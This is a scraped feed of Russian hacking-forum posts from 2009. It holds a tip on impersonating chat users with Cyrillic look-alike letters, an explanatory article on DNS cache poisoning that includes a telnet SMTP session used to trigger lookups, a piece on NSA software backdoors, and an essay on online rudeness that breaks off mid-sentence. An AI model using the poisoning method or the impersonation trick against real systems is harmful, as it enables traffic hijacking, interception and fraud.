чате говорить от имени любого зарегистрированного пользователя, надо<br />просто некоторые английские буквы ника заменить на русские :)) Правда в некоторых<br />чатах это не прокатывает :-))</p> mybb@mybb.ru (admin) Wed, 05 Aug 2009 12:39:08 +0400 http://hackzona.youbb.ru/viewtopic.php?pid=18#p18 http://hackzona.youbb.ru/viewtopic.php?pid=17#p17 <p>Введение Являясь одним из основных элементов инфраструктуры IP-сетей, служба доменных имен (DNS) в то же время далеко неидеальна с точки зрения информационной безопасности. Применение транспортного протокола без установления виртуального канала (UDP), отсутствие встроенных средств идентификации, аутентификации и разграничения доступа делают ее уязвимой для удаленных атак различных типов. В данной статье рассматривается межсегментная удаленная атака на DNS-сервер, не требующая выполнения каких либо жестких условий и допускающая эффективную практическую реализацию. &gt; 1. DNS с высоты птичьего полета Служба доменных имен представляет собой распределенную базу данных, основным содержанием которой является информация о соответствии символических имен сетевых объектов их IP-адресам. DNS организована по иерархическому принципу. Структурной единицей этой базы является домен (domain), который в свою очередь может содержать другие домены (поддомены). Первичным источником информации о каждом домене является ответственный за данный домен DNS-сервер (на самом деле их может быть несколько). Ответственность за часть доменной информации (поддомены) может быть делегирована другим серверам Клиентская часть DNS называется резолвером (resolver), доступ к которому прикладные программы получают через API операционной системы. При взаимодействии резолвера с сервером в качестве транспортного протокола используется UDP, не предусматривающий формирования виртуального канала. Запросы, генерируемые резолвером, являются рекурсивными, т.е. в качестве ответа на такой запрос возвращается либо искомая информация, либо сообщение о ее отсутствии. Получив запрос от резолвера, сервер либо сразу же возвращает ответ (при условии наличия искомой информации в локальной базе), либо формирует запрос к другому серверу. Этот запрос обычно является итеративным и, в отличие от рекурсивного, допускает ответ в виде ссылки на другой сервер, который лучше осведомлен о месте расположения искомой информации. В общем случае поиск начинается с корневого сервера, который возвращает информацию о серверах, ответственных за домены верхнего уровня, после чего формируется новый итеративный запрос к одному из этих серверов и т.д. Результатом такой цепочки вопросов-ответов является либо получение искомой информации, либо вывод о ее отсутствии, после чего полученный ответ возвращается резолверу. Вся накопленная сервером в процессе работы информация кэшируется с целью ускорения обслуживания последующих запросов и минимизации сетевого трафика. 2. Межсегментная удаленная атака на DNS-сервер Возможность атаки на DNS путем фальсификации ответа DNS-сервера известна довольно давно (см., например, Медведовский И.Д., Семьянов П.В., Платонов В.В. Атака через Internet. - СПб.: &quot;Мир и семья-95&quot;, 1997.). Объектом атаки может являться как резолвер, так и DNS-сервер. Причины успеха подобных атак кроются в легкости подделки ответа сервера. Протоколы DNS, используемые в настоящее время, не предусматривают каких либо средств проверки аутентичности полученных данных и их источника, полностью полагаясь в этом на нижележащие протоколы транспортного уровня. Используемый транспортный протокол (UDP) с целью повышения эффективности не предусматривает установления виртуального канала и использует в качестве идентификатора источника сообщения IP-адрес, который может быть элементарно подделан. При наличии у атакующего возможности перехвата сообщений, которыми обмениваются клиент и сервер (внутрисегментная атака) реализация атаки не представляет каких либо трудностей. Однако этот вариант не представляет и значительного практического интереса, поскольку возможность внутрисегментной атаки предполагает наличие определенного взаимного расположения клиента, сервера и хоста атакующего (например, атакующий и целевой DNS-сервер разделяют общую физическую среду передачи), что на практике реализуется довольно редко. Значительно более общим случаем является межсегментная атака, не требующая для своей реализации столь жестких условий. По этой причине мы остановимся на рассмотрении именно этого класса удаленных атак, представляющих как академический, так и практический интерес. Межсегментная атака на DNS-сервер выглядит следующим образом. Предположим для определенности, что целью атаки является &quot;подмена&quot; IP-адреса web-сервера wwwcoolsite.com на IP-адрес сервера wwwbadsite.com для пользователей некоторой подсети, которую обслуживает DNS-сервер ns.victim.com. В первой фазе атаки ns.victim.com провоцируется на поиск информации о IP-адресе wwwcoolsite.com путем посылки ему соответствующего рекурсивного запроса. Во второй фазе атакующий посылает серверу ns.victim.com ложный ответ от имени ns.coolsite.com, который является ответственным за домен coolsite.com. В ложном ответе вместо реального IP-адреса wwwcoolsite.com указывается IP-адрес wwwbadsite.com. Сервер ns.victim.com кэширует полученную информацию, в результате чего в течении определенного промежутка времени (величина этого промежутка указывается в поле TTL ложного ответа и может произвольно выбираться атакующим) ничего не подозревающие пользователи вместо сервера wwwcoolsite.com попадают на wwwbadsite.com. Для того, чтобы ложный ответ был воспринят сервером ns.victim.com как истинный, достаточно выполнения четырех условий: · IP адрес отправителя ответа должен соответствовать IP-адресу запрашиваемого сервера (в нашем случае ns.coolsite.com); · UDP-порт, на который направляется ответ, должен совпадать с портом, с которого был послан запрос; · идентификатор ответа должен совпадать с идентификатором запроса; · ответ должен содержать запрашиваемую информацию (в нашем случае IP-адрес web-сервера wwwcoolsite.com). Очевидно, что выполнение первого и четвертого условий не представляет для атакующего особых трудностей. Со вторым и третьим условиями ситуация намного сложнее, поскольку в случае межсегментной атаки у атакующего нет возможности перехватить исходный запрос и &quot;подсмотреть&quot; необходимые параметры. Большинство используемых в настоящее время реализаций DNS-сервера (BIND4, MS DNS) используют для исходящих запросов 53 порт, так что можно &quot;на удачу&quot; послать ложный ответ на этот порт. Однако данный метод будет срабатывать не всегда, поскольку, например, BIND8 может использовать для исходящих запросов любой случайно выбранный непривилегированный порт. Идентификатор (id) запроса представляет собой двухбайтовое число, указываемое сервером в запросе с целью однозначной идентификации ответа на данный запрос. Это число инкрементируется с каждым новым запросом. Незнание текущего значения идентификатора приводит к необходимости посылки множества ложных ответов с различными значениями id. Именно это обстоятельство делает практическую реализацию данной атаки очень трудноосуществимой. Действительно, ложный ответ должен быть получен целевым сервером в промежуток времени с момента посылки запроса и до момента прихода ответа от настоящего сервера, что на практике составляет не более нескольких секунд. За этот интервал времени атакующему необходимо послать 216 ложных ответов со всеми возможными значениями id, а в случае незнания порта эта цифра увеличивается еще в несколько десятков раз. Поскольку размер IP-пакета, содержащего ложный ответ, составляет около 100 байт, то перед атакующим ставится задача пересылки нескольких мегабайт информации за несколько секунд, что в подавляющем большинстве случаев неосуществимо. 3. Метод определения номера порта и текущего идентификатора запроса При выполнении дополнительного условия даже в случае межсегментной атаки у атакующего есть возможность определения текущего id запроса и номера порта. Таким условием является наличие контролируемого атакующим DNS-сервера, ответственного за любой домен. Контроль над сервером в данном контексте означает возможность перехвата всех запросов, адресованных данному серверу. Это возможно либо если атакующий непосредственно владеет сервером (является его администратором), либо разделяет с ним общую физическую среду передачи (в случае ethernet это означает нахождение в одном коллизионном домене). Очевидно, что данное условие не является слишком жестким, поскольку нахождение в одном коллизионном домене с DNS-сервером достаточно типично для многих пользователей корпоративных сетей. При наличии контролируемого сервера описанная атака может быть модифицирована следующим образом. Предположим для определенности, что атакующий контролирует сервер ns.hacker.com, ответственный за домен hacker.com. В первой фазе атаки мы провоцируем сервер ns.victim.com на обращение к ns.hacker.com путем посылки рекурсивного запроса на поиск информации о любом имени (не обязательно реальном) в домене hacker.com. Поскольку ns.hacker.com находится под контролем атакующего, он может перехватить этот запрос и извлечь из него информацию о номере порта и текущем id. Последующие две фазы атаки не отличаются от описанных, с той лишь разницей, что теперь атакующему достаточно послать всего несколько ложных ответов, поскольку он точно знает номер порта и может с высокой степенью точности предсказать значение идентификатора запроса к ns.coolsite.com. 4. Метод косвенной провокации Очевидно, что необходимым условием успешности описанной атаки является возможность посылки рекурсивных запросов целевому серверу, провоцирующих его на обращение к другим серверам с целью поиска запрашиваемой информации. В принципе, существует возможность настроить DNS-сервер таким образом, что он будет принимать рекурсивные запросы только от &quot;своих&quot; клиентов (хостов, резолверы которых настроены на использование данного сервера). В этом случае осуществление атаки становится невозможным. С целью обхода этого ограничения можно предложить простой метод, который условно назовем &quot;косвенной провокацией&quot;. Основная идея этого метода заключается в использовании любого общедоступного сервиса, являющегося клиентом целевого DNS-сервера, для формирования необходимого провоцирующего запроса. Наиболее подходящим кандидатом представляется общедоступный сервер электронной почты, который по определению должен принимать соединения с любого компьютера Internet. Предположим, что резолвер компьютера mail.victim.com настроен на использование сервера ns.victim.com, причем последний принимает рекурсивные запросы только от домена victim.com. Приведенный ниже SMTP-диалог провоцирует ns.victim.com на поиск информации о имени any-name.any-domain.com: $ telnet mail.victim.com 25 Trying... Connected to mail.victim.com. Escape character is '^]'. 220 mail.victim.com ESMTP Sendmail 8.8.0/8.8.0; Wed, 5 May 1999 21:30:42 helo I.am.cracker 250 mail.victim.com Hello crack.hacker.com [1.1.1.1], pleased to meet you mail from: user@any-name.any-domain.com 250 user@any-name.any-domain.com... Sender ok quit 221 mail.victim.com closing connection Connection closed. Таким образом, применение метода &quot;косвенной провокации&quot; позволяет осуществить атаку без прямой посылки запросов целевому DNS-серверу. 5. Как возникают эпидемии В обычных условия успешная атака приводит к &quot;заражению&quot; кэша конкретного сервера и область распространения ложной информации ограничивается только его клиентами. Однако при наличии ситуации &quot;некорректного делегирования&quot; (lame delegation), возникающей из-за ошибок администрирования, возможно распространение ложной информации на другие сервера, что приведет к глобальному &quot;заражению&quot;. Под некорректным делегированием понимается ситуация, когда ответственность за домен делегируется серверу, не обладающему локальной копией доменной информации. Это приводит к тому, что в ответ на итеративные запросы других серверов вместо искомой информации он возвращает ссылки на другие сервера (иногда и на себя), которые, с точки зрения данного сервера, располагают нужными сведениями. Рассмотрим ситуацию, когда для домена victim.com существуют два ответственных сервера - ns.victim.com и ns2.victim.com, причем для ns2.victim.com делегирование выполнено некорректно. Применяя описанные методы, атакующий может &quot;заразить&quot; кэш сервера ns2.victim.com ложной информацией о именах в домене victim.com, например, подменить IP-адрес web-сервера wwwvictim.com на IP-адрес wwwvery-bad-site.com. Поскольку ns2.victim.com считается ответственным за домен victim.com, другие сервера в Internet будут обращаться к нему за информацией о именах в этом домене. Не располагая локальной копией доменной информации о victim.com, данный сервер будет возвращать в ответ ранее кэшированную ложную информацию, приводя к &quot;заражению&quot; всех обратившихся к нему серверов. Неприятной особенностью данного сценария является невозможность быстрой ликвидации последствий атаки, поскольку ложная информация будет находиться в кэшах тысяч серверов до истечения времени жизни, которое атакующий может выбрать очень большим. 6. Реализация и полевые испытания Программа, реализующая атаку на DNS-сервер с использованием контролируемого сервера, стала доступна в Internet примерно в феврале 1999 года. К счастью, использование этой программы не сводится к вводу в окошко IP-адреса целевого сервера и нажатию кнопки &quot;Infect It!&quot;, а требует достаточно глубокого понимания принципов работы DNS, что сразу же отсеивает 99% потенциальных пользователей. Кроме того, в известной автору реализации сделано далеко не все для повышения вероятности успеха атаки. С целью обеспечения чистоты эксперимента &quot;полевые испытания&quot; были проведены на трех неподконтрольных автору корпоративных сетях. Естественно, администраторы этих сетей были поставлены в известность и не возражали против проведения эксперимента. Как это ни печально, во всех трех случаях атака была успешной. Диапазон целей, которые могут быть достигнуты при помощи атаки на DNS, простирается от &quot;отказа в обслуживании&quot; и подмены web-сайтов до перехвата сообщений электронной почты и полного контроля над информацией, передаваемой между произвольно выбранными хостами Internet. При всем этом атакующий практически не оставляет следов, поскольку ему нет необходимости посылать провоцирующие запросы и ложные ответы с собственного IP-адреса. 7. Взгляд с другой стороны баррикады По мнению автора, в настоящее время единственным надежным средством противодействия описанной атаке является использование стандартизированных в RFC2065 расширенных протоколов DNS, предусматривающих применение криптографических методов аутентификации доменной информации и субъектов сетевого взаимодействия. Базовая поддержка этого стандарта уже включена в текущую версию BIND8. К сожалению, желаемый результат может дать только широкомасштабное внедрение новых протоколов, которое сопряжено со значительными организационными трудностями и не может быть проведено за короткое время. Несколько затруднить осуществление атаки может запрет на обслуживание DNS-сервером рекурсивных запросов, поступающих не от &quot;своих&quot; клиентов. Это может быть сделано как средствами самого сервера (например, BIND8 обладает такими возможностями), так и средствами межсетевого экрана. Следует обратить внимание на настройку &quot;антиспуффинговых&quot; правил фильтрации на межсетевом экране, поскольку атакующий в качестве IP-адреса отправителя запроса может указать любой адрес, в том числе и легального клиента. При использовании данного метода не следует забывать, что подобная защита может быть достаточно легко преодолена использованием описанного метода косвенной провокации. Заключение В отличие от уже набивших оскомину атак, использующих &quot;дыры&quot; в конкретных реализациях сетевых сервисов, ошибки администрирования или методы &quot;социальной инженерии&quot;, атака на DNS представляется автору очень изящной. В то же время по характеру и масштабности результатов данная атака вполне может быть причислена к информационному оружию массового поражения. Отсутствие адекватных средств защиты, очень слабо выраженные следы и трудность устранения последствий атаки еще больше усугубляют ситуацию. Несколько удивляет тот факт, что данная удаленная атака широко не применяется взломщиками (по крайней мере, автор не располагает такой информацией). Вполне возможно, это объясняется просто недостаточной квалификацией подавляющего числа людей, называющих себя хакерами. Сетевым администраторам остается только надеяться, что уязвимость протоколов DNS к данной атаке будет устранена прежде, чем они почувствуют на себе ее последствия.</p> mybb@mybb.ru (admin) Wed, 05 Aug 2009 12:34:21 +0400 http://hackzona.youbb.ru/viewtopic.php?pid=17#p17 http://hackzona.youbb.ru/viewtopic.php?pid=16#p16 <p>Курт Сабо </p> <p>В последнее время появляется все больше свидетельств того, что Агентство национальной безопасности США имеет возможность узнать секреты практически любого пользователя Интернета. Бывший сотрудник агентства, а ныне известный правозащитник, Уэйн Мэдсон заявил на прошедшей в Англии международной конференции по проблемам неприкосновенности частной жизни, что огромное число коммерческих программ для ПК имеют специально встроенные “черные ходы”, позволяющие спецслужбам проводить свои операции. “Многие производители программного обеспечения нашли общий язык с АНБ, - говорит он. - Это именно та область, которая всегда привлекала внимание спецслужб”.</p> <p>АНБ, численность сотрудников которого составляет около 40 000 человек, напряженно работает над тем, чтобы средства защиты информации, используемые правительством США, совершенно не поддавались взлому. С другой стороны, оно всячески стремится к тому, чтобы ослабить экспортные версии криптографических программ американских компаний. Например, агентство тратит массу времени и усилий на то, чтобы заставить производителей программного обеспечения, а также коммутаторов и маршрутизаторов внести в выпускаемую продукцию требуемые изменения. Цель предельно проста – гарантировать правительству США свободный доступ к чужим шифрованным данным. </p> <p>Как известно, АНБ проводит операции по сбору разведывательной информации в интересах американского правительства. Оно осуществляет перехват данных и из трафика Интернета. Для того чтобы все проходило без проблем, требуется “небольшая” подготовительная работа. Например, программисты могут при написании исходного кода приложений включить туда модули, реализующие некие недокументированные возможности. Причем такие вставки очень трудно обнаружить. Некоторые софтверные компании, в том числе Microsoft, ранее уже обвинялись прессой в сотрудничестве с АНБ, так как пошли на включение в свои программы специальных “черных кодов”. Аналогичный случай, возможно, имел место с программой PGP, когда в ней был обнаружен очень серьезный дефект. Эта программа обычно применяется для шифрования электронной почты. Чтобы понять, как же люди из АНБ “портят” чужие программы, обратимся к предыстории этого события.</p> <p>Известный криптограф Брюс Шнайер еще в прошлом году поведал читателям ежемесячного электронного бюллетеня о некоем таинственном сотруднике АНБ Лью Джайлзе, занимавшемся исключительно тем, что заставлял производителей ослаблять защиту, которую должны были обеспечить выпускаемые ими программные средства. В конце концов, говорил он, всегда можно все “дыры” в защите объяснить случайно допущенными ошибками. Именно в это время в PGP и была введена функция “восстановления ключа”, имевшая скрытый дефект, который стал недавно широко известен. Впоследствии в различных версиях этой программы были обнаружены и другие серьезные недостатки. Например, оказалось, что в версии PGP для Linux и OpenBSD вырабатываются слабые ключи. Эти программы, по сообщениям Bugtraq, были созданы как раз в 1997 году. </p> <p>Конечно, большинство обнаруженных дефектов в программах появляется всего лишь по недосмотру разработчиков. Но очень вероятно и то, что некоторые из них являются специально внедренными “черными ходами”. В различных средствах массовой информации время от времени публикуется информация, полученная от сотрудников компаний по производству компьютерной техники и ПО, о том, как их “обрабатывало” АНБ. Крупнейшие агентства новостей CNN и Network World рассказали о том, как АНБ заставляло фирмы, производящие сетевое оборудование, вносить в выпускаемую продукцию изменения в своих интересах. К компаниям, сотрудничающим с АНБ, хотя и не всегда с охотой, относятся, например, Netscape, Sun, Microsoft. Один из сотрудников фирмы Sun Крис Толлес говорит, что все в Силиконовой долине, в том числе и сотрудники этой фирмы, были вынуждены сотрудничать с АНБ. Но если все компании работали с АНБ, то осталась ли вообще какая-либо “неиспорченная” продукция?</p> <p>Еще в 1995 году это ведомство заинтересовалось системами шифрования сообщений электронной почты, используемыми в продукции фирм Microsoft, Netscape и Lotus. Под давлением со стороны АНБ эти компании согласились ослабить защиту своих программных приложений, предназначенных на экспорт. Английский журналист Данкен Кэмпбелл сообщает, что АНБ добилось успеха в компрометировании броузеров Microsoft, Netscape и пакета Lotus Notes. Это ведомство настояло на сокращении длины ключей шифрования до той величины, при которой оно легко могло взломать код. </p> <p>Тахер Элгамал, реализовывавший “план по восстановлению данных” в Netscape, как того требовало АНБ, сообщил, что у этой компании просто не было никаких шансов избежать подобной участи. Дело в том, что примерно половину доходов Netscape получает от экспорта. Для того чтобы получить экспортную лицензию, требуется разрешение АНБ, а это возможно только в случае ослабления продаваемой продукции. И вот выясняется, что хотя в экспортных версиях популярных броузеров Microsoft и Netscape используются ключи длиной 128 бит, 88 бит каждого ключа передаются вместе с зашифрованным сообщением. Поэтому только 40 бит остаются секретными. Поскольку почти на каждом компьютере в Европе установлены эти броузеры, АНБ может легко взломать код и читать секретную переписку пользователей Интернета.</p> <p>АНБ имело также доступ к шифрованной электронной почте пользователей ПО Lotus Notes, поскольку этот программный пакет был специально “подпорчен”. Это было обнаружено шведским правительством в 1997 году и вызвало у него сильный шок. Ранее система Lotus Notes широко использовалась для конфиденциальной переписки членами парламента Швеции, многочисленными ведомствами и отдельными гражданами этой страны. Как такое стало возможным? Дело в том, что в систему защиты электронной почты Lotes Notes, предназначенной для экспорта, был включен модуль, дающий АНБ доступ к шифрованным данным. Это превращало задачу по вскрытию секретных сообщений в дело нескольких секунд. Даже сама компания Lotus призналась в этом. Вот что она сообщила газете Svenska Dagbladet: “Разница между американской версией Notes и экспортной заключается только в степени защиты. Всем пользователям мы предоставляем 64-битные ключи, но 24 бита ключа экспортной версии программы предоставляются американскому правительству”.</p> <p>АНБ добралось и до систем защиты банковских сетей. Когда компания MasterCard International вырабатывала стандарт шифрования SET, используемый сейчас в электронных транзакциях, АНБ быстро охладило ее энтузиазм. “Они сообщили нам, что можно и что нельзя делать”, - сказал Джон Ванкмюллер, отвечающий в компании за электронную коммерцию. АНБ настояло на том, чтобы большая часть информации при каждой транзакции вообще не шифровалась. В США хотят знать, кто и куда переводит деньги.</p> mybb@mybb.ru (admin) Tue, 04 Aug 2009 16:49:49 +0400 http://hackzona.youbb.ru/viewtopic.php?pid=16#p16 http://hackzona.youbb.ru/viewtopic.php?pid=15#p15 <p>Денис Чекалов, кандидат философских наук</p> <p>Агрессия в компьютерном мире! При этих словах сразу же вспоминаешь о взломах,<br />совершенных хакерами, или о вирусах, что так и жаждут просочиться на твой компьютер.<br />Программы-бомбы (&quot;ньюки&quot;), твой сервер, упавший оттого, что кто-то подпилил ему ножки,<br />- стоит только включить модем, и тебе открывается мир, полный готовых высыпаться<br />неприятностей.</p> <p>Но идет ли речь только о взломах и вирусах? Нет, конечно. За взломами и вирусами стоит<br />человек - что же делает его таким злым?</p> <p>Не станем, конечно, углубляться в вечные философские вопросы. Какова природа человека,<br />что заставляет его причинять боль себе и ближним, - пусть ученые ломают головы над<br />этими проблемами. Если им не жалко своих голов.</p> <p>Поставим перед собой более четкую задачу. Постараемся описать один из типов личности,<br />рожденной влиянием информационных технологий. Невежливого, колючего человека - не<br />столько злого, сколько мелко злобного. Уверен, вы не раз сталкивались с такими. И<br />попытаемся понять, что делает его злым.</p> <p>Люди привыкли к недоброжелательности</p> <p>лость и агрессия не обязательно принимают форму вируса или взлома. В конечном счете,<br />как бы ни были неприятны подобные сюрпризы, мы сталкиваемся с ними не каждый день - и<br />слава Богу.</p> <p>Гораздо чаще сталкиваемся мы с другой агрессией - эмоциональной. Не думаю, что открою<br />для кого-нибудь Америку, если скажу - грубость встречается в компьютерном мире (в том<br />числе, в Интернете) слишком часто.</p> <p>При этом, грубость, возведенная в форму образа жизни. Приведу несколько примеров.<br />Объявление о приеме на работу: &quot;Письма с доками будут безжалостно уничтожены&quot;. Или<br />другое: &quot;Не обращаться [список тех, кто не подходит на должность]. Вас таких сразу<br />видно&quot;.</p> <p>Почему &quot;безжалостно&quot;? Почему &quot;сразу видно&quot;? Разве сложно говорить вежливо? Сделаю<br />небольшой прогноз - многие из читателей могли даже не понять, а где здесь, собственно,<br />грубость. Колючесть, недоброжелательность настолько просочились в наш образ жизни, что<br />превратились в норму.</p> <p>В Советском Союзе было принято смеяться над американцами - над их &quot;неискренними<br />улыбками&quot;. Сегодня стало ясно - неискренней улыбке нередко противостоит только<br />искреннее хамство.</p> <p>Возникает, однако, более сложный вопрос. Да, если человека плохо воспитали в детстве,<br />то он может стать хамом - тем более, если просочится на руководящую должность. Как ни<br />печально, так все и происходит.</p> <p>Но откуда злость ко всем вокруг? Обида на весь мир? Ничем иным не удастся объяснить<br />такую грубость и недоброжелательность. Я недаром привел в качестве примеров именно<br />объявления о приеме на работу. Можно было бы обратиться к чему-то другому, но<br />объявления не могут не удивить.</p> <p>В самом деле. Человек ищет сотрудников. Он абсолютный хозяин положения. Кого хочет -<br />возьмет, остальным откажет. У него власть, у него деньги. А ведь агрессия<br />свидетельствует о слабости.</p> <p>Злость испытывает тот, кто проиграл, неудачник, обвалянный в грязи и осмеянный толпой.<br />Победителю, богачу и любимцу удачи незачем злиться. Он может быть негодяем, хамом,<br />подлецом - но у него нет причин испытывать злость и ненависть.</p> <p>Откуда же они берутся? Откуда стремление сразу поссориться?</p> <p>Почему находятся люди, взявшие за правило принцип: &quot;Нахами первым, пока не нахамили<br />тебе&quot;?</p> <p>Все дело в том, что наш агрессор испуган.</p> <p>Чем же? У него хорошая работа. Ответственная должность. Высокий оклад. Пусть пугаются<br />его подчиненные, те, кого он может принять на работу или уволить, пусть злятся и<br />кусают друг друга - это было бы предосудительно, но понятно.</p> <p>Что пугает нашего злобного, мелочного агрессора? Малость. То, что он не умеет<br />работать. Он не способен выполнять свои обязанности, и каждую минуту может вылететь со<br />своего поста.</p> <p>Не умея работать</p> <p>На первый взгляд, кажется невероятным, что некомпетентный человек оказывается на<br />ответственной должности. И научная логика, и здравый житейский смысл подсказывают, что<br />работа должна доставаться тому, кто в состоянии ее выполнять.</p> <p>Конечно, бывает всякое. Вакансия может достаться случайному человеку, к тому же,<br />нередко людей принимают по знакомству - и тем не менее. Если человек не умеет<br />готовить, ему не удержаться на месте шеф-повара. Не умеет водить автомобиль - роль<br />таксиста не для него. Какими бы ни были обстоятельства или знакомства.</p> <p>Это совершенно справедливо. Но только не в том случае, когда речь идет о компьютерном<br />мире.</p> <p>Является закономерным, что работа, связанная с компьютерами, открывает простор для<br />некомпетентных, безответственных людей.</p> <p>Это похоже на работу полицейского. Большая часть стражей порядка - честные, надежные<br />люди. Но сам характер профессии таков, что попадись среди них человек с гнильцой - и<br />его пороки разрастутся пышной плесенью.</p> <p>Не стоит забывать, что подобное положение имеет и противоположную сторону. Те, кто<br />умеет работать и хочет это делать, нередко оказываются оттесненными в сторону.<br />Последнее не удивительно - бездельники гораздо лучше умеют громко кричать и<br />распихивать окружающих локтями.</p> <p>Отчего же это происходит? Почему компьютерная работа позволяет жить и процветать<br />такого рода людям?</p> <p>В данном случае, речь пойдет только о странах постсоветского пространства. В рамках<br />разных культур влияние, которое оказывают на человека информационные технологии,<br />преломляется по-разному, и сейчас у нас нет возможности (да и необходимости тоже)<br />говорить о всем мире в целом.</p> <p>Возьмем в качестве примера что-нибудь, хорошо известное всем читателям. Хотя бы одну<br />из крупных компаний, занимающуюся локализацией игр. Не станем называть ее - без<br />сомнения, в ней работают умные, компетентные люди, которые любят свою работу и<br />ответственно к ней относятся.</p> <p>Вспомним, однако, один из ее проектов. Речь идет об известной пошаговой стратегии. Что<br />мы видим? Локализаторы уверенно пишут слово &quot;мэрия&quot; через &quot;е&quot;, а название штата<br />&quot;Калифорния&quot; оказывается с маленькой буквы. Игра состоит из нескольких частей, которые<br />переводились отдельно, - и везде мы видим те же ошибки.</p> <p>Название сказочного народа &quot;halfling&quot; можно переводить по-разному. Это может быть и<br />&quot;полурослик&quot;, и &quot;невысоклик&quot;, и просто &quot;халфлинг&quot;. Но ни в коем случае не &quot;подросток&quot;!<br />С тем же успехом дракона можно назвать жабой, а единорога козой.</p> <p>Но наш переводчик над этим не задумывается. Не потому, что не знает - просто ему<br />плевать на качество.</p> <p>Далее. Как уже сказано, игра выходит несколькими отдельными частями. В них участвуют<br />одни и те же герои. Однако в каждом новом выпуске их имена перевраны по-новому.<br />Транскрипция имен с другого языка - дело сложное, но сверить финальные результаты не<br />просто необходимо, это дело чести переводчика.</p> <p>Но чести-то нет.</p> <p>Как принято говорить в подобных случаях - прошу прощения за некоторую вульгарность -<br />&quot;пипл хавает&quot;. В переводе на нормальный язык, это означает: какой смысл стараться,<br />если купят и так.</p> <p>Не желая работать</p> <p>В первое время, это срабатывает. Игрок, конечно же, предпочтет переведенную игру<br />английской (позор, конечно: когда-то мы были великой грамотной страной, а теперь даже<br />геймер, который, по определению, работает с компьютером и должен знать язык Шекспира<br />хотя бы чуть-чуть, требует себе локализованную версию).</p> <p>Довольны и западные партнеры. Русского они не знают, проверить ошибки не могут, да им<br />и плевать. Главное, чтобы деньги шли.</p> <p>Так зачем же стараться? Тяп-ляп, шмяк-бубяк, скорей-скорей: Быстрые деньги, быстрый<br />оборот. Это нормально, более того - полезно для экономики в целом.</p> <p>Но что происходит с человеком? Он привыкает к тому, что можно работать, спустя рукава.<br />Более того - он видит, что за такую халтуру ему не просто платят деньги, но еще и<br />рукоплещут.</p> <p>Происходит сдвиг ценностных ориентаций. Человек не просто привыкает работать плохо. Он<br />уверен, что так и надо работать. Вспомним многие отечественные &quot;теледетективы&quot;. В свое<br />время, была очень жестокая песня: &quot;Смесь из грязи и [кое-чего похуже] - это родина<br />моя&quot;. Конечно, это неправда - по крайней мере, к моей родине подобное не относится. Но<br />поглядите на телеэкран - и правда, кроме грязи и этого другого, ничего нет.</p> <p>Я даже не говорю о том, что героями нашего времени стали &quot;братки-бандюки&quot; и &quot;чумовые<br />дамочки&quot;. Речь идет об общей концепции. Посмотрите фильм &quot;Детектив Нэш Бриджес&quot;. Яркие<br />цвета, красивые съемки, интересные актеры. Сравните что-нибудь российское -<br />заплеванные подъезды, грязные улицы, обшарпанные кабинеты.</p> <p>&quot;Правда жизни&quot;? Отнюдь. Я не верю, что в Москве можно снимать только грязь и<br />обделанные заборы. К счастью, есть режиссеры, которые это понимают, но их слишком<br />мало.</p> <p>Большинство исповедуют другой принцип. Зачем стараться, искать красивые пейзажи,<br />организовывать съемки. Наверти кадры в ближайшей подворотне, и гони новую серию.<br />Пирожок с грязью вместо паштета? Ну и что. Пипл же хавает!</p> <p>Таково мировоззрение этих людей. Они отучились работать хорошо. Слово &quot;качество&quot; для<br />них ничего не значит. И в то же время, они твердо уверены, что представляют собой<br />&quot;цвет нации&quot;.</p> <p>Рассмотрим теперь, что происходит далее. Принцип &quot;пипл хавает&quot; не может работать<br />вечно. У Марка Твена есть небольшой эпизод об &quot;артистах&quot;, которые вместо представлений<br />бессовестно обманывали публику.</p> <p>Они хорошо знали: на первое представление придут те, кто им поверил. На втором они<br />уже, само собой, не покажутся, но наберется столько же новых зрителей.</p> <p>А с третьего, шапку в охапку, и бегом, пока разгневанная публика не намылила<br />физиономий.</p> <p>Вот этого наш &quot;испуганный агрессор&quot; и не умеет. Он привык к тому, что его хвалят за<br />халтуру. Когда этого не происходит, он умеет вовремя сбежать. Ведь он не ощущает себя<br />мошенником, как создатели экономической пирамиды, - он искренне думает, что заслужил<br />фанфары.</p> <p>Обратимся за примером к другой отрасли, тесно связанной с компьютерами, -<br />издательской. Почему именно к ней? Она интересует нас в первую очередь. Если<br />разработчики программ или телестудии (мы говорим о нашей стране) начали свою<br />деятельность сравнительно недавно - то частные книгоиздатели существуют уже давно, и<br />успели пожать печальные плоды принципа &quot;пипл хавает&quot;.</p> <p>И злясь на весь мир</p> <p>Оглянитесь - как мало издают сегодня художественных книг. Отчего? Люди стали меньше<br />читать? Тоже верно. Телевидение, кино, видео, компьютерные игры, поп-музыка - все это<br />отрывает человека от книги. Но разве причина только в этом?</p> <p>Отнюдь. Причина в том, что &quot;испуганный агрессор&quot; от книгоиздания слишком горячо<br />обжегся на принципе &quot;пипл хавает&quot;. Я участвовал в работе над рядом книг, учебного<br />плана, и попутно не мог не заинтересоваться тем, как обстоят дела у беллетристики.</p> <p>Друзья, нормальный человек не поверит тому, что там происходит.</p> <p>Ибо ничего нормального там нет.</p> <p>Казалось бы. Есть книга, есть ее потенциальный читатель. Что должен сделать издатель?<br />Донести книгу до читателя и получить с него большие деньги.</p> <p>Ошибаетесь:</p> <p>Издатель должен напечатать книгу и положить ее на склад. Если книгу не раскупят - что<br />же, значит, она никуда не годится.</p> <p>Глупо? Отнюдь. Так поступают большинство издателей, имеющих дело с беллетристикой. Я<br />приведу вам пример нелепой сцены, которой сам был свидетелем.</p> <p>Известно, что романы Д.Х.Чейза разошлись в нашей стране едва ли ни миллионными<br />тиражами. Очевидно, это свидетельствует о его популярности. В одном из издательств я<br />столкнулся с автором, который начинал как подражатель Чейзу. Со временем он стал<br />писать все лучше, и вскоре превзошел своего учителя.</p> <p>Это признают все - в том числе даже те издатели, которые отказываются его издавать.</p> <p>Подключим логику. Чейз суперпопулярен. У нас есть автор, который пишет в том же ключе,<br />но еще лучше. Станем издавать и получим много денег!</p> <p>Но мы имеем дело с &quot;перепуганным агрессором&quot;, поэтому отключим логику.</p> <p>Когда я принес в издательство очередной учебник, составленный сотрудниками<br />университета, то столкнулся там с этим автором. У него тоже были две рукописи, и он<br />пытался их протолкнуть.</p> <p>- Простите, Семен Семенович! - говорил ему выпускающий редактор (имя прозаика я,<br />конечно, меняю). - У вас замечательные детективы. Всем они нравятся. И нашему главному<br />очень нравятся. Но видите ли - их не покупают!</p> <p>- Помилуйте! - сокрушался автор. - Как же не покупают? Ни в одном магазине их нет.</p> <p>Выпускающий редактор глубоко обиделся и принял суровый вид.</p> <p>- Как это нет? - обвиняюще спросил он. - 